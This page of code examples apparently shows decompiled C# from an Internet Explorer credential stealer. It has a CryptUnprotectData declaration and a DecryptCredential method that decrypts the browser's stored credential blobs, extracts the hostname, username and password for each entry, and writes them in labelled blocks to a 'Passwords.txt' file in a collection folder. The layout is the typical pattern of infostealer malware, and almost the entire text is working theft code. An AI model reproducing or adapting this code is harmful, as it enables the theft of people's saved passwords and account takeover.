Пример #1
0
 private static extern bool CryptUnprotectData(ref Internet_Explorer.DATA_BLOB pDataIn, int szDataDescr, ref Internet_Explorer.DATA_BLOB pOptionalEntropy, int pvReserved, int pPromptStruct, int dwFlags, ref Internet_Explorer.DATA_BLOB pDataOut);
Пример #2
0
        // Token: 0x060000B9 RID: 185 RVA: 0x00009020 File Offset: 0x00007220
        public static void DecryptCredential(string sURL, string sHash, int Length, byte[] data)
        {
            List <string[]> list = new List <string[]>();

            Internet_Explorer.DATA_BLOB         data_BLOB         = default(Internet_Explorer.DATA_BLOB);
            Internet_Explorer.DATA_BLOB         data_BLOB2        = default(Internet_Explorer.DATA_BLOB);
            Internet_Explorer.DATA_BLOB         data_BLOB3        = default(Internet_Explorer.DATA_BLOB);
            Internet_Explorer.StringIndexHeader stringIndexHeader = default(Internet_Explorer.StringIndexHeader);
            Internet_Explorer.StringIndexEntry  stringIndexEntry  = default(Internet_Explorer.StringIndexEntry);
            IntPtr intPtr = Marshal.AllocHGlobal(Length);

            Marshal.Copy(data, 0, intPtr, Length);
            data_BLOB.cbData  = Length;
            data_BLOB.pbData  = intPtr;
            data_BLOB3.cbData = (sURL.Length + 1) * 2;
            data_BLOB3.pbData = Internet_Explorer.VarPtr(sURL);
            if (Internet_Explorer.CryptUnprotectData(ref data_BLOB, 0, ref data_BLOB3, 0, 0, 0, ref data_BLOB2))
            {
                IntPtr ptr = new IntPtr(data_BLOB2.pbData.ToInt32() + (int)Marshal.ReadByte(data_BLOB2.pbData));
                stringIndexHeader = (Internet_Explorer.StringIndexHeader)Marshal.PtrToStructure(ptr, stringIndexHeader.GetType());
                if (stringIndexHeader.dwType == 1 && stringIndexHeader.dwEntriesCount >= 2)
                {
                    IntPtr ptr2    = new IntPtr(ptr.ToInt32() + stringIndexHeader.dwStructSize);
                    IntPtr intPtr2 = new IntPtr(ptr2.ToInt32() + stringIndexHeader.dwEntriesCount * Marshal.SizeOf <Internet_Explorer.StringIndexEntry>(stringIndexEntry));
                    int    num     = 0;
                    while ((double)num < (double)stringIndexHeader.dwEntriesCount / 2.0)
                    {
                        if (num != 0)
                        {
                            ptr2 = new IntPtr(ptr2.ToInt32() + Marshal.SizeOf <Internet_Explorer.StringIndexEntry>(stringIndexEntry));
                        }
                        stringIndexEntry = (Internet_Explorer.StringIndexEntry)Marshal.PtrToStructure(ptr2, stringIndexEntry.GetType());
                        IntPtr ptr3 = new IntPtr(intPtr2.ToInt32() + stringIndexEntry.dwDataOffset);
                        string text = Marshal.PtrToStringAuto(ptr3);
                        ptr2             = new IntPtr(ptr2.ToInt32() + Marshal.SizeOf <Internet_Explorer.StringIndexEntry>(stringIndexEntry));
                        stringIndexEntry = (Internet_Explorer.StringIndexEntry)Marshal.PtrToStructure(ptr2, stringIndexEntry.GetType());
                        ptr3             = new IntPtr(intPtr2.ToInt32() + stringIndexEntry.dwDataOffset);
                        string   text2 = Marshal.PtrToStringAuto(ptr3);
                        string[] item  = new string[]
                        {
                            sURL,
                            text,
                            text2,
                            "Internet Explorer"
                        };
                        list.Add(item);
                        Math.Max(Interlocked.Increment(ref num), num - 1);
                    }
                }
                string str = Program.path + "\\";
                foreach (string[] array in list)
                {
                    Directory.CreateDirectory(str + array[3]);
                    using (StreamWriter streamWriter = new StreamWriter(str + array[3] + "\\Passwords.txt", true))
                    {
                        streamWriter.WriteLine(string.Concat(new string[]
                        {
                            "\n[PASSWORD]\nHostname: ",
                            array[0],
                            "\nUsername: "******"\nPassword: ",
                            array[2]
                        }));
                    }
                }
            }
        }